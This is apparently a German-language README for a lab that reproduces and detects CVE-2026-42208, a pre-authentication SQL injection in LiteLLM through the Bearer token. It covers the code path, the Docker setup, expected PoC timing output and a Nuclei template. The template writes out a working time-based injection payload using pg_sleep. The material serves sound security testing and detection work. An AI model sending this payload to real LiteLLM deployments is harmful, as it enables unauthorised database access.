
Reproduktionslabor für CVE-2026-42208, eine kritische Pre-Authentifizierung-SQL-Injection in LiteLLM. Enthält Docker-basierte verwundbare/gepatchte Umgebungen, zeitbasierten PoC-Exploit und Nuclei-Erkennungsvorlage für Sicherheitstests.
Eine Laborumgebung zur Reproduktion und Erkennung von CVE-2026-42208, einer kritischen SQL-Injection-Schwachstelle vor der Authentifizierung in LiteLLM, bei der unsanitisierte Bearer-Tokens eine rohe PostgreSQL-Abfrage erreichen.
| Feld | Details |
|---|
| CVE-ID | CVE-2026-42208 |
| GHSA | GHSA-r75f-5x8p-qvmc |
| CVSS | 9.3 (Kritisch) — AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H |
| Betroffene Versionen | >= 1.81.16, < 1.83.7 |
| Behoben | v1.83.7 (parametrisierte Abfrage) |
| CWE | CWE-89 (SQL-Injection) |
Vulnerable (v1.83.6):
POST /v1/chat/completions
Authorization: Bearer <payload> ← payload does NOT start with "sk-"
→ api_key.startswith("sk-") assertion fails (utils.py:1189)
→ caught by except Exception (utils.py:1560)
→ _handle_authentication_error(api_key=RAW_PAYLOAD)
→ _enrich_failure_metadata_with_key_info()
→ get_data(token=RAW_PAYLOAD, table_name="combined_view")
→ SQL: WHERE v.token = '{payload}' ← injection
Patched (v1.83.7):
Same request path, but:
→ get_data(token=hashed_token, ...)
→ SQL: WHERE v.token = $1 ← parameterized, no injection
| # | Bedingung | Details |
|---|---|---|
| 1 | Betroffene LiteLLM-Version | >= 1.81.16, < 1.83.7 |
| 2 | PostgreSQL-Backend | SQLite-Installationen sind nicht betroffen |
| 3 | Keine Authentifizierung erforderlich | Vor der Authentifizierung; keine Anmeldedaten nötig |
| 4 | ≥1 Zeile in VerificationToken | pg_sleep feuert nur pro Zeile; leere Tabelle = keine Verzögerung |
Host Machine
├── localhost:8010 ──→ Docker: litellm-vuln (v1.83.6-nightly ⚠ VULNERABLE)
│ Docker: litellm-db-vuln (PostgreSQL 15)
└── localhost:8011 ──→ Docker: litellm-patched (v1.83.7-stable ✓ PATCHED)
Docker: litellm-db-patched (PostgreSQL 15)
| Werkzeug | Installation |
|---|---|
| Docker Desktop | docker.com |
| nuclei | brew install nuclei |
| curl, python3 | vorinstalliert auf macOS |
bash scripts/01-setup.sh
Wenn fertig:
══════════════════════════════════════════════════════
Lab ready!
Vulnerable (v1.83.6-nightly) : http://localhost:8010
Patched (v1.83.7-stable) : http://localhost:8011
Master Key : sk-lab-master-key
Next: bash scripts/02-exploit.sh
══════════════════════════════════════════════════════
bash scripts/02-exploit.sh
Erwartete Ausgabe – anfällig (v1.83.6-nightly):
── Vulnerable (v1.83.6-nightly, port 8010) ──
Baseline : 0.031s
Injection : 6.062s (HTTP 401)
Delta : +6.031s
⚠ RESULT: pg_sleep fired — SQL INJECTION CONFIRMED (VULNERABLE)
Erwartete Ausgabe – gepatcht (v1.83.7-stable):
── Patched (v1.83.7-stable, port 8011) ──
Baseline : 0.028s
Injection : 0.029s (HTTP 401)
Delta : +0.001s
✓ RESULT: No significant delay — injection not executed (PATCHED)
# Anfällige Instanz → sollte einen [critical] Befund liefern
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8010
# Gepatchte Instanz → sollte keine Befunde liefern
nuclei -t nuclei/CVE-2026-42208.yaml -u http://localhost:8011
Anfällig (v1.83.6-nightly):

Gepatcht (v1.83.7-stable):

bash scripts/99-teardown.sh
litellm-cve-2026-42208/
├── README.md
├── VULNERABILITY_ANALYSIS.md # Quellcode-Analyse (Englisch)
├── LAB_SETUP_GUIDE.md # Laboreinrichtungsanleitung (Englisch)
├── NUCLEI_TEMPLATE_GUIDE.md # Nuclei-Vorlagendesign (Englisch)
├── docker-compose.yaml
│
├── REPORT/ # Koreanische Berichte
│ ├── Vulnerability_Analysis_KR.md
│ ├── LAB_REPORT_KR.md
│ └── Nuclei_Template_Report_KR.md
│
├── nuclei/
│ └── CVE-2026-42208.yaml # Nuclei detection template
│
└── scripts/
├── 01-setup.sh # Container starten, Seed-Key erstellen
├── 02-exploit.sh # PoC: zeitbasierter Injektionsnachweis
└── 99-teardown.sh # Alle Laborressourcen stoppen und entfernen
Step 1 GET /health/liveliness
→ match "I am alive" in body
→ confirms target is a LiteLLM instance
Step 2 POST /v1/chat/completions
Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NOT NULL --
Matcher (UND – alle müssen bestehen):
status == 401 eliminates 504/502 false positives
body contains "auth_error" OR "Authentication Error"
confirms LiteLLM auth path, not a proxy
duration >= 5 pg_sleep(6) fired → injection confirmed
Vermeidung von Fehlalarmen:
status == 401 eliminiert Antworten von Upstream-Zeitüberschreitungen (504) und Gateway-Fehlern (502)duration >= 5 ist ausreichend hoch, um Netzwerk-Jitter auszuschließen (Basislinie ≤0,5s)Warnung: Alle Anmeldedaten in diesem Labor sind gefälschte Testdaten, die ausschließlich für Sicherheitsforschung bestimmt sind. Niemals in der Produktion verwenden. Holen Sie stets eine ausdrückliche Genehmigung ein, bevor Sie Systeme scannen, die Ihnen nicht gehören.